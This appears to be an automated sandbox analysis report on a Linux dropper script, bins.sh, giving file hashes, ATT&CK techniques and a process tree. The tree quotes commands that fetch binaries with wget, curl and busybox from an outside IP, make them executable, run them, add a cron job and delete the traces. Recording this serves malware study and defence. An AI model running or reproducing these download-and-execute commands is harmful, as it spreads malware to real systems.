09723b214a3fa63ddf017396e3b5a50c2ed1e15017c783844b128e8c332621d3

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
25-11-2024 10:27

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General

Target

bins.sh
Size

10KB
MD5

9de3640d2c5d8a78acc69e96d0980c26
SHA1

00142594773d5ffa756329d68b48ebe96a2812a4
SHA256

09723b214a3fa63ddf017396e3b5a50c2ed1e15017c783844b128e8c332621d3
SHA512

ceda825c49a3065bc8dd5224fe8fd82f379cc1d35d8c7243595cbe0d4e488b05149a90905f1a38bf8eb7df82edd254fe1efaea45dd1c5023becdac109d95c903
SSDEEP

192:nY7Y/YQUYHzOQ9RKqq4B1qqjY7Y/YQUYH3:ROQDpz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

1512 chmod
1519 chmod

pid	process
1512	chmod
1519	chmod

Executes dropped EXE 2 IoCs

Processes:

mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDSnQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

ioc	pid	process
/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	1513	mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	1520	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

Renames itself 1 IoCs

Processes:

nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

pid process

1521 nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.zInN0t crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1521	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.zInN0t	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

description	ioc	process
File opened for reading	/proc/1609/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/167/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1144/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1290/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1535/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1541/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1543/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1597/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/26/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/202/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1232/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/9/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1086/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/413/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1377/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1545/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/98/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/166/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1585/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1588/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/5/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/11/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/965/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1549/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1571/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/465/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/632/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1158/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1607/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/79/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1068/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1567/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/469/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1559/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1566/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1581/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1583/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/3/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/81/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1058/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1178/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1339/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/475/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/665/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/673/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/171/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/449/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1576/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/83/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1222/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1537/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1555/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/903/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1126/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1591/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1612/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/519/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1312/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/23/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1282/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/1184/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/452/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/518/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
File opened for reading	/proc/530/cmdline	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlbusyboxmmb1HnxTDsnacGbEfipkfO4tHOYCepTXDSrm

pid process

1506 wget
1510 curl
1511 busybox
1513 mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
1515 rm

pid	process
1506	wget
1510	curl
1511	busybox
1513	mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
1515	rm

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	wget
File opened for modification	/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	curl
File opened for modification	/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	busybox
File opened for modification	/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	wget
File opened for modification	/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	curl
File opened for modification	/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1504
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1506
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1510
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1511
- /bin/chmod
  chmod 777 mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  ./mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1513
- /bin/rm
  rm mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  PID:1515
- /usr/bin/wget
  wget http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod 777 nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  ./nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1520
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1522
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1523
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1524
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1525
- /bin/rm
  rm nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://216.126.231.240/bins/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  2⤵
  PID:1530

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.zInN0t

Filesize
210B

MD5
33ef875eee8cc56a35ada9c71f5455ac

SHA1
a2640b129e21c118c1808b494d16389cce447c96

SHA256
ab0af7c5bd21d91f25b2317f27c59585a91e1028aebf13f965a9a31b07ee5cf9

SHA512
4c2178dae32ea84313b2480b89cc0b517bb6cc6c52d2d547409c2259ce7dbad009e3f26727d24e75b9ff50e35d806311505de1cc275032c3168e4461ea8d2aba

Download Submit